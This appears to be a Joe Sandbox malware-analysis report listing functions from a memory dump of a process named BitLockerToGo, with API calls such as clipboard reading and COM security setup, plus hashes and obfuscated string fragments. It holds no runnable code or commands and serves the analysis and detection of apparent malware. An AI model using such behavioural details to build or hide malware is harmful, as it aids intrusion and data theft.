Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`efg`
API String ID: 0-2010120567
Opcode ID: 13b2a09bc5fb6db259057d5c6e5ccacc8cec2f2215c8254d2a448d96c7af5b6b
Instruction ID: 60ae86f221606bcf8684761909ceae8bb389d62c2223d36b98c867c4f02c02bf
Opcode Fuzzy Hash: 13b2a09bc5fb6db259057d5c6e5ccacc8cec2f2215c8254d2a448d96c7af5b6b
Instruction Fuzzy Hash: F1A12731D082448FDB148BBCC4553AEBFE1EB4A310F18555FDA92A7392CB7A8941C7D6

Function 0043BE60 Relevance: 1.6, APIs: 1, Instructions: 62comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00448AA8,00000000,00000001,00448A98,00000000), ref: 0043BF4B

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 7ade375ef90a0ee10e41ba06a3427fec0e2ef3f7add29380806b3d99ad929fa8
Instruction ID: 9d297ba96a7a1c949b070aabdf3000e2130bada484b3405d66c816fe058badaf
Opcode Fuzzy Hash: 7ade375ef90a0ee10e41ba06a3427fec0e2ef3f7add29380806b3d99ad929fa8
Instruction Fuzzy Hash: 9D216DB4008341AFE310CF54D849B5BBBE4FB82714F10891CF1D44A2C1DBB699098F96

Function 00441A80 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044520A,005C003F,00000006,?,?,00000018,?,?,?), ref: 00441AAE

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ad932b2b00559e9cb24108de1499e2b8809661d28f6ef4b94d1e3dfa2d030c47
Instruction ID: 88b266f08c8d8dc656098dc4a5309144cffe720ba9f358246b073a6e310c2786
Opcode Fuzzy Hash: ad932b2b00559e9cb24108de1499e2b8809661d28f6ef4b94d1e3dfa2d030c47
Instruction Fuzzy Hash: 47E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00428900 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Ea#c, xrefs: 004289A5

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Ea#c
API String ID: 0-2928251271
Opcode ID: dce9057311d39b73a943ab340a41a697b35b679efaa0947202d011d2d00cce2a
Instruction ID: be24759ff4312ce8b0544814543ed8cd7ae12a5ee74f21635c7b3a26a6075e0a
Opcode Fuzzy Hash: dce9057311d39b73a943ab340a41a697b35b679efaa0947202d011d2d00cce2a
Instruction Fuzzy Hash: 0841BDB0248380AFE310CF25D84175FBBE5EB82764F549A1CF4945B292DBB5C906CB9B

Function 00445770 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 004457D9

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 3048766a4f5ef777dd7a2819ef554043040ed773233ae1689cc54fc745ca3a31
Instruction ID: c257d7fbf35bd8a6959ac9ee5c780dc8530be122de10ed8b12b554137ed77e06
Opcode Fuzzy Hash: 3048766a4f5ef777dd7a2819ef554043040ed773233ae1689cc54fc745ca3a31
Instruction Fuzzy Hash: 1A3103310087048FD704EF18C881A6BBBF5FF95354F04882DEA8487292DB399918CB5A

Function 0041CA15 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c633b67092143d15167c5acc1ec48e189aa4a0e8aff38c125c600d805ff989
Instruction ID: 6728c5e7434657b97f62b81dc601f48a7d0b47ca1c4c49bde855eec9539be02e
Opcode Fuzzy Hash: 43c633b67092143d15167c5acc1ec48e189aa4a0e8aff38c125c600d805ff989
Instruction Fuzzy Hash: 25A15272988210C7C7249F54EC926B7B3A2FFA5354F1D412EE88657390E7B9AC41C389

Function 0042FA20 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c6d633db7a2f56b18d9ed07ddd34e624dab06721e09668d63d70c45b15f66f
Instruction ID: fd782672bb96966f6f8eb54abdbd8145625a2870685e0e411b3a2f91e3987a85
Opcode Fuzzy Hash: 51c6d633db7a2f56b18d9ed07ddd34e624dab06721e09668d63d70c45b15f66f
Instruction Fuzzy Hash: DFE12570604B508BD7358F3594907A3BBE2EB52314F998A7EC5EB4B396C33CA40ACB55

Function 004101A0 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e503fb71c9200d4907135999ac89c4ce3c01587aeae316ec173e9a28f62b2ee6
Instruction ID: 504cbaca2827438c380fde95ce87bcc56915575d97f5ff6c3aa173077ce12cd9
Opcode Fuzzy Hash: e503fb71c9200d4907135999ac89c4ce3c01587aeae316ec173e9a28f62b2ee6
Instruction Fuzzy Hash: 47A120B5A00216DFDB04CF68DC91BAEB7B2FF4A305F194169E401EB7A1D7389811CBA5

Function 00446140 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f34b7eacc9513536637286ad78bf6503f39566622d6d8b141e89c46f42305873
Instruction ID: 8653169b15692002958cf8e65cc66839a8931a9c9c33a4c9c1381b12e7eb3100
Opcode Fuzzy Hash: f34b7eacc9513536637286ad78bf6503f39566622d6d8b141e89c46f42305873
Instruction Fuzzy Hash: 957114316083109FE728DF24C891A7BB7A2FBD6304F1A842DE9858B391DB759C45C796

Function 00445890 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c7a8dd6a1795b62ec28c1c682e3393447399e0ca6dfa46df80d5e403df9568bc
Instruction ID: c61f6e130c6dd56fc90856f653c5ade1a6ae34eb26133f20dfc0554b8ec10a72
Opcode Fuzzy Hash: c7a8dd6a1795b62ec28c1c682e3393447399e0ca6dfa46df80d5e403df9568bc
Instruction Fuzzy Hash: 707145356047019FEB249F18D891B3FB3A2EFD5350F19882EE9829B362EB749811C749

Function 00406740 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f754e6a645258ccbb1c216075c50781bb7ec72063722546f916e9f7eccc181b6
Instruction ID: 27733e546c1e688ded4fd3813316ae9a0798088e0c10fdf0e22e17665a49633c
Opcode Fuzzy Hash: f754e6a645258ccbb1c216075c50781bb7ec72063722546f916e9f7eccc181b6
Instruction Fuzzy Hash: 36713861A483818BD7249F388841367BBD59B92300F1AC57FD8C79B3C2D27CC865D79A

Function 004420E8 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b40331ccb2b1422c98ac6eacd74b874c91bad133305f05d54576302ea252b87
Instruction ID: 2198e249e9faf998c8cc56a44d358782e37b2b2159b532ceee83a2e607bef304
Opcode Fuzzy Hash: 9b40331ccb2b1422c98ac6eacd74b874c91bad133305f05d54576302ea252b87
Instruction Fuzzy Hash: 3F414832A083414BE314DF68CA4573BB7A2BBD5300F59897EE5D2537A1CBF88D01978A

Function 00441FBE Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9001e15ce52b55149b366ec39ea51425f4928d136357b44a2b9b3f2d02e594db
Instruction ID: 4630d97a8c37565aad93a6378e00518747ba0754619e0afe3843cb60cf5195eb
Opcode Fuzzy Hash: 9001e15ce52b55149b366ec39ea51425f4928d136357b44a2b9b3f2d02e594db
Instruction Fuzzy Hash: BF2132326483428FE318DF54DD8573AB3A2BB85345F59047EE58693AA2CBF8CC41D749

Function 0040D5F0 Relevance: 6.1, APIs: 4, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0040D697
GetForegroundWindow.USER32 ref: 0040D69D
GetCurrentProcessId.KERNEL32 ref: 0040D6A7
ExitProcess.KERNEL32 ref: 0040D6C7

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID:
API String ID: 3118123366-0
Opcode ID: ab82fa428c4dde88d47ead806fcb150ad6102606fb42aae4a3fc4bfdfa1f8273
Instruction ID: 2ee70c2a7f044ef72f2c1ad4d3b6f54ceaec95a1eaa0d6d95a79783b8be77429
Opcode Fuzzy Hash: ab82fa428c4dde88d47ead806fcb150ad6102606fb42aae4a3fc4bfdfa1f8273
Instruction Fuzzy Hash: 3511363291554047E718FF7B881E35FA6435FC1309F18C97ED48ADB2D9DD39480A8A6A

Function 0043E615 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0043E624

Strings

,C, xrefs: 0043E626

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID: ,C
API String ID: 1279760036-1018371460
Opcode ID: cf7a0bc51a3b4c2be3cc76962705ad250ab25e05e1b8ee3e26b9b934a56725c9
Instruction ID: 09b870368c0ffec36c6e6e35793982688a89b8cf4e89fff49c82d45dcd634e52
Opcode Fuzzy Hash: cf7a0bc51a3b4c2be3cc76962705ad250ab25e05e1b8ee3e26b9b934a56725c9
Instruction Fuzzy Hash: 21B01234147110BCD03113110CC5FFF3D2C9F43F55F101024B604140C047546001D07D

Function 0043BF63 Relevance: 3.1, APIs: 2, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(B7458976), ref: 0043BFF8
SysAllocString.OLEAUT32(B7458976), ref: 0043C098

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 706a6ca42b8739fe3b5ea0dc2f9873dd563141ef3602a208fa74f4d4fdc36dfb
Instruction ID: 2a6ea36e50dd950eb4f484085d1a98249fe47e0a1afdca0f18ae8a8b465f55b1
Opcode Fuzzy Hash: 706a6ca42b8739fe3b5ea0dc2f9873dd563141ef3602a208fa74f4d4fdc36dfb
Instruction Fuzzy Hash: 0921E6B29683619FD704CF74D84424BB6E5FFE6606F08C93CE8949B219DB74894887C7

Function 00410F69 Relevance: 3.0, APIs: 2, Instructions: 36COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00410F7B
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,Function_00010F90), ref: 00410FA2

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: a49bcfe9660149ea6391710a84b1884864d9cf61e45bd243e027d83f58dfcbf0
Instruction ID: f997c1c8d1572797b3e055b00ded34ac3d23b6712f83428a8f95a52276ab2896
Opcode Fuzzy Hash: a49bcfe9660149ea6391710a84b1884864d9cf61e45bd243e027d83f58dfcbf0
Instruction Fuzzy Hash: 1AE0C5383CC312BAF9751B64AC1BF053524A702F62F300320B7257C5E44AE03600951D

Function 0043C581 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043C593
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043C5AB

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 2218c9e643845c1247618d7c4115460f1342f06ae867e25a1d3309d33b339915
Instruction ID: 34dada18a376dc8830d6a1e4705df5d48e66d65894d55b6f4d1ab1f4d436d6fc
Opcode Fuzzy Hash: 2218c9e643845c1247618d7c4115460f1342f06ae867e25a1d3309d33b339915
Instruction Fuzzy Hash: DEE0E9357C4341BAF6321B50ED5BF457A65A752F42F300425B3417C0F08AE17B519A0D

Function 0043E656 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043E6C8

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 13d5897e76223d3faca7e46acc1eb3c68c40a7e57971ed3de6a32c72133c09d3
Instruction ID: bb8c760d9a22796c0b308e442e885e00c54f20c0e0edced537a12164818fd982
Opcode Fuzzy Hash: 13d5897e76223d3faca7e46acc1eb3c68c40a7e57971ed3de6a32c72133c09d3
Instruction Fuzzy Hash: 1DF02835786641DFE7008B64E8007657726E78A329F2886B9C1041B6E3C2364C17CB84

Function 00441B90 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00441BF6

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 8a640508243eca6cdb6bd843cbca78e53a8e614946fe94ab117814893be38be0
Instruction ID: d206a81831f7eb90d62d81b598a7e306b0e32a2f5c36c689bef7d1ab286e9ffd
Opcode Fuzzy Hash: 8a640508243eca6cdb6bd843cbca78e53a8e614946fe94ab117814893be38be0
Instruction Fuzzy Hash: 070149376183504BD324DB34E45521BBBE2EB62345F18893DE8C2D7351EB34D940CB8A

Function 004366C1 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00436709

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: d2720f11e7304b77477e6c261250323f31f9f183b2b9284d4c4d6156ee0f135d
Instruction ID: 5b33f61212a9d5d2382c030a351a587ca87f86826dcdbffd16dfcec0a91bd622
Opcode Fuzzy Hash: d2720f11e7304b77477e6c261250323f31f9f183b2b9284d4c4d6156ee0f135d
Instruction Fuzzy Hash: 0FF014B45487028FE711DF15D198B5BBBF0FB89308F00891CE4A58B391C7B9A948CF82

Function 00441BE8 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00441BF6

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a738130fe51dc963f7d7b230b32f150f907f978ad3d6d79e3c40a7e19fafb032
Instruction ID: 06356d87e97ba5f14ff8caee16e92aabdee9a4dd2fc5d5c30e06e5797c8c4718
Opcode Fuzzy Hash: a738130fe51dc963f7d7b230b32f150f907f978ad3d6d79e3c40a7e19fafb032
Instruction Fuzzy Hash: 46E08C3A5003408BD304DB24FC9656937E1E71630A3140439E843C33A2D736EA01CA0A

Function 00433FF0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00434033

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 27f3fd5874c18c5af1b04effe15bfbe943073575aeecf347d86803fcd62ed7b6
Instruction ID: dcaaa5bd761d47cd35251548e2899503c781f650fa72724266154e761c99e16d
Opcode Fuzzy Hash: 27f3fd5874c18c5af1b04effe15bfbe943073575aeecf347d86803fcd62ed7b6
Instruction Fuzzy Hash: 80E05AB01093028FE314DF14C1A875BBBE0BB84308F10890CE0A94B290C7BAAA49CFC2

Function 00410F40 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00410F53

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 66fc0d3f8590f83952b4199a2e3ec275b703f37856092759df69d444eaa4ae08
Instruction ID: 0734d154d35e220bf7e4829ae2ad3e1e2ee60fe69c8989f328acd20126e9f9ac
Opcode Fuzzy Hash: 66fc0d3f8590f83952b4199a2e3ec275b703f37856092759df69d444eaa4ae08
Instruction Fuzzy Hash: 39C08C30014248BBF220272DAC0FF03396CD303B26F804330BAA0440D2AAA06810D5FA

Non-executed Functions

Function 00428B15 Relevance: 40.7, Strings: 32, Instructions: 675COMMON

Download Yara Rule

Strings

`F, xrefs: 00428D5C
Ym%c, xrefs: 0042903F
efg`, xrefs: 004294F5
(E[, xrefs: 00429015
efg`, xrefs: 00429514, 00429532
O1Z7, xrefs: 00428FF2
5M>C, xrefs: 00429007
'%, xrefs: 00428F06
}s, xrefs: 00429391
w%O;, xrefs: 00428FDD
#!, xrefs: 00428EFC
~F, xrefs: 00428D6A
;I4O, xrefs: 00429000
d5<K, xrefs: 00428FF9
_i%o, xrefs: 00429038
-Y*_, xrefs: 0042901C
Aq, xrefs: 00428D63
WU, xrefs: 00428E8E
:a<g, xrefs: 00429046
L9B?, xrefs: 00428FE4
75, xrefs: 00428EDE
O=A3, xrefs: 00428FEB
TeN{, xrefs: 0042904D
M}Cs, xrefs: 0042905B
8U#k, xrefs: 00429031
#!, xrefs: 004294FC
4{y, xrefs: 00428E20
%A1G, xrefs: 0042900E
sq, xrefs: 00428E34
qw, xrefs: 00429398
wu, xrefs: 00428E3E
qo, xrefs: 00428D71

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %A1G$(E[$-Y*_$4{y$5M>C$8U#k$:a<g$;I4O$Aq$L9B?$M}Cs$O1Z7$O=A3$TeN{$Ym%c$_i%o$`F$d5<K$efg`$efg`$qo$w%O;$~F$#!$#!$'%$75$WU$qw$sq$wu$}s
API String ID: 0-2163230315
Opcode ID: 3a21005593cd4bccca9b198d9bd880eb0655542a1a6aa92f9b9585c71ae2d378
Instruction ID: 4ea3058ee1832c5a1b71d215505f7cf634e7e84f5686484f8b11aec9c632126f
Opcode Fuzzy Hash: 3a21005593cd4bccca9b198d9bd880eb0655542a1a6aa92f9b9585c71ae2d378
Instruction Fuzzy Hash: 306232B4900B54CFDB24CF25D881B9ABBB1FB05300F5585ADD89A6F766CB34A842CF84

Function 00401000 Relevance: 19.5, Strings: 14, Instructions: 1989COMMON

Download Yara Rule

Strings

, xrefs: 004037A2
0123456789ABCDEFXP, xrefs: 004013EC, 0040145F
gfff, xrefs: 00401D18
0123456789abcdefxp, xrefs: 004013FA, 0040146C
gfff, xrefs: 00401D03
, xrefs: 00403826
, xrefs: 0040379B
, xrefs: 0040378D
, xrefs: 004037B0
gfff, xrefs: 00401DBF
, xrefs: 004037A9
, xrefs: 00403794
-, xrefs: 00401CCD
gfff, xrefs: 00401D75

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: 41a2d04a1145071c999776ab57c0bf972bcd5d1f358527067b886ff83f2b4d86
Instruction ID: c3fc945702f1accca8a5091da0ed090600132d1a466bfebc3d11c0c96abf29a1
Opcode Fuzzy Hash: 41a2d04a1145071c999776ab57c0bf972bcd5d1f358527067b886ff83f2b4d86
Instruction Fuzzy Hash: CAE2E3716093418FC718CF28C49432BBBE2AF95314F18867EE495AB3D1D778D949CB8A

Function 0041FED0 Relevance: 17.9, Strings: 13, Instructions: 1668COMMON

Download Yara Rule

Strings

?%7", xrefs: 00420133
@, xrefs: 004203A5
pXw, xrefs: 004202DF
tw, xrefs: 0042128F
x, xrefs: 0042095A
XY^_, xrefs: 00420363
efg`, xrefs: 004209F0
h, xrefs: 004204EA
_Ub, xrefs: 00420379
\]R+, xrefs: 0042036E
9>?, xrefs: 0042030B
()./, xrefs: 00420337
TUJK, xrefs: 00420384

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9>?$()./$?%7"$@$TUJK$XY^_$\]R+$efg`$h$pXw$tw$x$_Ub
API String ID: 0-530149803
Opcode ID: 86323befe0674dcc807d479b9c0f10f8328e8828fee64fe55fb8c5c50aa89125
Instruction ID: 8c31b59be32a807209b0c7f9f070ae2ad77ff914540d2431ff6c9f709ddc8495
Opcode Fuzzy Hash: 86323befe0674dcc807d479b9c0f10f8328e8828fee64fe55fb8c5c50aa89125
Instruction Fuzzy Hash: 22C214716083918BD334CF25D8507ABBBE2EFD6304F58891EE4C99B392D7789805CB96

Function 004012D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

@, xrefs: 004029AF
0000, xrefs: 004027AC
0000, xrefs: 0040280E
0, xrefs: 00402151
0000, xrefs: 004027C8
0000, xrefs: 004027B3
0000, xrefs: 004027A5
0000, xrefs: 004027C1
0, xrefs: 00402449
0000, xrefs: 004027BA
0, xrefs: 004021FF
i, xrefs: 00402A7E

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: ab1337395353107c19c74b3a6fee8347949756d798c4ad8939949a5939fd5f99
Instruction ID: c03f03a368c4e3bd502a14674130260364e62eedf7944319a69562f1fd22c2f3
Opcode Fuzzy Hash: ab1337395353107c19c74b3a6fee8347949756d798c4ad8939949a5939fd5f99
Instruction Fuzzy Hash: F882D6756093418FC719CF28C69431ABBE1AB85304F18897EE8D6A73D1D3B8DD05CB8A

Function 00436BC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 123clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436BD0
GetWindowLongW.USER32 ref: 00436BF5
GetClipboardData.USER32 ref: 00436C05
GlobalLock.KERNEL32 ref: 00436C1E
GlobalUnlock.KERNEL32 ref: 00436D50
CloseClipboard.USER32 ref: 00436D59

Strings

C, xrefs: 00436C9E
3, xrefs: 00436C8F
', xrefs: 00436C71

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: '$3$C
API String ID: 2832541153-2726532645
Opcode ID: 916ea6223bedf66882a02800340b7f82fa8ad0784d5c9ef22bc23acf5ad15e19
Instruction ID: 6405cb630e05a2bb3f405cc822136220cb016506d844a3c575cdadac0f0cb4c8
Opcode Fuzzy Hash: 916ea6223bedf66882a02800340b7f82fa8ad0784d5c9ef22bc23acf5ad15e19
Instruction Fuzzy Hash: 2C41967160C3818EE301AF78D48931FBFE09B96308F15982EE4C587342C67D8549D767

Function 00425030 Relevance: 13.0, Strings: 10, Instructions: 459COMMON

Download Yara Rule

Strings

9R?, xrefs: 004250F9
}rt6, xrefs: 00425129
V167, xrefs: 0042510F
S7BI, xrefs: 004253C9
j!m', xrefs: 004250E6
L3N5, xrefs: 004253C1
U?]1, xrefs: 00425468
LO, xrefs: 004253D9
=K{M, xrefs: 004253D1
E=V3, xrefs: 00425104

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9R?$=K{M$E=V3$L3N5$LO$S7BI$U?]1$V167$j!m'$}rt6
API String ID: 0-3952383238
Opcode ID: 308a8e9616265b54cd42d5cd3845e910ed26ea46a4686bd2ba46c646c366163a
Instruction ID: 5e91c92cb77c9cc6e92fd4cb9bd1c908dc9bc9b887e7685a40e3e0f7bee04a71
